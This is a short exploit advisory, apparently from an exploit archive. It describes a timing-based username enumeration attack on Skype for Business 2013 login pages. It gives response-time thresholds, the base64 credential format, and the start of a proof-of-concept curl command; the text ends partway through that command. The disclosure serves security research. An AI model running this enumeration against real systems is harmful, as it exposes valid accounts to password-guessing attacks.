Subject: User enumeration in Skype for Business 2013

# Exploit Title: Skype for Business 2013 user enumeration timing attack
# Date: 2016-06-08
# Exploit Author: nyxgeek
# Vendor Homepage: https://www.microsoft.com
# Version: Skype for Business 2013
#
#
# Skype for Business 2013 is vulnerable to a timing attack that allows for username enumeration
#
# When Skype/Lync is exposed externally, a login page will be located at https://dialin.domain.com.
# 
# In the attack, a short response time indicates a valid username, whereas a long response time
# indicates an invalid username.  This was tested in a large AD environment with many OUs and 
# thousands of accounts.
#
# It is possible that the difference in response times may be smaller in smaller AD environments
#
# For example:
#     Valid username response time - 0.49s
#     Invalid username response time - 3.54s
#
#
# Usernames and passwords are both base64-encoded without a newline, and submitted in the form
# of DOMAIN\username.
#
# When generating the base64 on linux use the -n parameter with echo to exclude the newline char 
#     echo -n "DOMAIN\username" | base64
#
# This was reported to Microsoft on 2016-06-07 but it 'does not meet the bar for security servicing'
# 
# Below is a proof of concept curl command, which can be thrown into a bash script for ease of use.

#!/bin/bash

curl -o /dev/null -w "\n\nTOTAL TIME IS %{time_total}\n\n" -i -s -k  -X 'POST' \
